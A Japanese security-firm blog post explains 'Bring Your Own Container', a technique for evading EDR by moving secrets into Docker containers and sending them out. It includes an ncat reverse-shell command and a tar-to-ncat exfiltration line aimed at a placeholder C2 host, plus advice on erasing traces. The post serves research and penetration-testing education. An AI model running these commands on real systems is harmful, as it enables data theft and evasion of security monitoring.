取締役CTOの小竹（aka tkmru）です。 前回に引き続きEDRバイパス手法を紹介します。 EDRバイパスの概要はこちら。
昨今のソフトウェア開発において、Dockerをはじめとするコンテナ技術はなくてはならない存在となりました。 開発環境と本番環境の一貫性を保ち、迅速なデプロイを可能にするコンテナは、強力なツールです。 しかし、その利便性の裏側には、セキュリティ製品にとっての盲点が潜んでいます。 コンテナが持つ「隔離」機能は、本来セキュリティを高めるためのものですが、皮肉なことに、この隔離こそがEDRの監視をすり抜けるための隠れ家🏠になります。
この攻撃手法を、私は「Bring Your Own Container（BYOC）」と名付け、AVTOKYO2024にて発表しました。 これは、OSに標準搭載されたツールを悪用する「Living off the Land」(LotL) の考え方を、信頼された開発ツールであるDockerに応用したものです。
前編となる本記事では、このBYOCの具体的な手法と類似の攻撃事例について、解説していきます。
Dockerコンテナを用いた攻撃の流れ
BYOCは、コンテナへのデータを持ち込むステップとコンテナからデータ持ち出すステップの2つのステップで構成されます。 ここでは、その具体的なコマンドと共に攻撃の流れを見ていきましょう。
ステップ1：コンテナへのデータ持ち込み
まず、攻撃者はホスト上にある機密情報を、EDRから見えないコンテナの内部に持ち込みます。 これには、主に3つの方法があります。
手法A：ホストディレクトリのマウント
-vオプションを使い、ホスト上のディレクトリを直接コンテナにマウントします。
これにより、コンテナ内からホストのファイルに自由にアクセスできます。
# ホストのデスクトップをコンテナの/lib/modulesにマウントする例 $ docker run --rm -v ~/Desktop:/lib/modules -it ubuntu /bin/bash
--rmオプションを付けることで、コンテナ終了時に自動でコンテナが削除され、操作ログなどの痕跡がホストに残りづらくなります。
手法B：イメージへのデータの組み込み
DockerfileのCOPY命令を使い、機密情報を含んだDockerイメージを作成し、コンテナを立ち上げられます。
# Dockerfileの例 FROM ubuntu:latest COPY ./secret /lib/modules/ # "secret"という名前の機密情報をコピー RUN apt update && apt install -y ncat CMD ["/bin/bash"]
手法C：既存コンテナへのサイドローディング
すでに稼働している正規のコンテナにdocker cpコマンドでファイルをコピーする手法です。
新しいコンテナを起動するよりも怪しまれにくく、よりステルス性が高いと言えます。
# 実行中のコンテナにファイルをコピーする例 $ docker cp secret.txt <Container ID>:/lib/modules/
ステップ2：コンテナからのデータ持ち出し
次に、コンテナ内に持ち込んだデータを、外部のC2（Command & Control）サーバへ送信します。
手法A：リバースシェルの確立
コンテナ内でncatのようなネットワークツールを使い、C2サーバへ接続してリバースシェルを確立します。
一度シェルを確保してしまえば、EDRの監視外で自由に対話的な操作できます。
# コンテナ内からC2サーバーへリバースシェルを接続する例 # ncat XX.XX.XX.XX 3333 -e /bin/bash
手法B：直接的なデータ送出
tarコマンドでデータをアーカイブし、パイプでncatに渡すことで、データを直接C2サーバーにストリーミングします。
対話的な操作を必要としないため、効率的にデータを送出できます。
# /lib/modulesディレクトリをtarで固めてncatで送出する例 # tar cf - /lib/modules/ | ncat XX.XX.XX.XX 3333
攻撃者目線での利点
EDRから解放されたシェルを自由に操作できる
最大の利点は、EDRの監視がないシェルを自由に操作できることです。
EDRを無効化するような派手なアクションは不要で、開発者の日常的なdockerコマンドの実行に紛れ込ませることができるため、検知が困難です。
使い慣れた攻撃環境を展開できる
攻撃者は、あらかじめツールを仕込んだDockerイメージを用意しておくことで、Dockerがインストールされている環境であればどこでも、使い慣れた攻撃環境を即座に展開できます。 標的の環境ごとにツールをダウンロードする必要がなくなり、検知リスクをさらに下げられます。
永続化と横展開への活用
長時間稼働するコンテナは、ネットワーク上での永続的な足場として機能します。 コンテナは独自のネットワークスタックを持つため、そこを踏み台として内部ネットワークの他のホストをスキャンしたり攻撃したりする、横展開（ラテラルムーブメント）の起点にもなり得ます。
攻撃に用いた環境を削除するのが簡単
使用したDockerイメージとコンテナを削除し、コンテナを動かすのに実行したコマンドをシェルのヒストリから削除すれば、攻撃に使用した環境を削除でき、痕跡を探すのが困難になります。 ぺネトレーションテストの際には、侵害した端末に残したファイルが後々問題になることもあるので、ペンテスター目線でもこれは嬉しいところです。
Dockerがインストールされている環境が前提
BYOCは、あくまでコンテナ内に持ち込んだデータを操作するものであり、ホストOS自体を直接制御できるわけではありません。 また、攻撃の前提として、標的の環境にDockerがインストールされている必要があります。 しかし、Dockerのインストールには高い権限が求められます。 この制限はBYOCの欠点です。
類似の攻撃手法と実例
Dockerが攻撃に活用された事例と他のプラットフォームでの似た手法を紹介します。 「正規の分離技術を悪用して監視を回避する」というBYOCの概念は、Dockerだけに留まりません。
macOSにおいてDockerを利用したステルス化事例
Elastic Security Labsの報告によると、「TraderTraitor」と呼ばれる北朝鮮を背景とするサイバー攻撃グループが、macOSを標的とした攻撃でDockerを悪用した事例があります。 この攻撃では、Dockerコンテナにパッケージ化した、株取引ツールを装った悪意のあるPythonアプリケーションが使用されました。
AppleのEndpoint Security Framework（ESF）は、コンテナ内部で実行されるプロセスを詳細に調査する能力に欠けています。 そのため、EDRは「信頼されたDockerプロセス」がホスト上の機密ファイル（SSHキーやAWS認証情報など）にアクセスしていることは検知できても、それが正規の開発者のワークフローなのか、悪意のある活動なのかを区別することは困難です。 結果として、EDRはコンテナ化された活動を検知しにくくなり、攻撃者はDockerコンテナという隠れ家🏠の中で、ステルス性を保ちながら活動できます。 この事例は、BYOCが現実の攻撃で利用されていることを示す好例です。
Windows Sandboxを利用したEDRバイパス
Windowsにも、Dockerの代わりにWindows Sandboxを使用してEDRをバイパスする類似の手法が存在します。 Windows Sandboxは、軽量で隔離された一時的なデスクトップ環境を提供する機能です。 Dockerコンテナと同様に、Windows Sandbox内で実行されるアクティビティはホストOSから隔離されています。 そのため、EDRは、Windows Sandbox内で発生するプロセスやネットワーク活動に対する可視性が制限されます。 攻撃者はこのサンドボックスを利用して、悪意のあるコードの実行、追加ペイロードのダウンロード、攻撃の準備などを行い、サンドボックスを閉じると同時にすべての痕跡を消し去ることができます。 これは、隔離を目的とした正規のシステム機能を攻撃者が逆手に取り、監視がない環境を作り出すという点で、BYOCと似ています。
まとめ
私がAVTOKYO2024で発表した、Dockerコンテナを悪用してEDRの監視を回避する攻撃手法「Bring Your Own Container」について、具体的な手法から攻撃者にとっての価値、さらにはWindows Sandboxを用いた類似の事例までを解説しました。 これらの手法に共通するのは、セキュリティのための「隔離」技術が、攻撃者にとっての「隠れ家🏠」として利用されてしまうという点です。 信頼されたツールの正当な利用されると、悪意ある活動を区別することが困難です。
次回以降は、macOSのTCC、WindowsのControlled folder accessなどのOSのセキュリティ機構をバイパスする手法を組み合わせる方法や具体的な対策について詳しく掘り下げていきます。
弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。
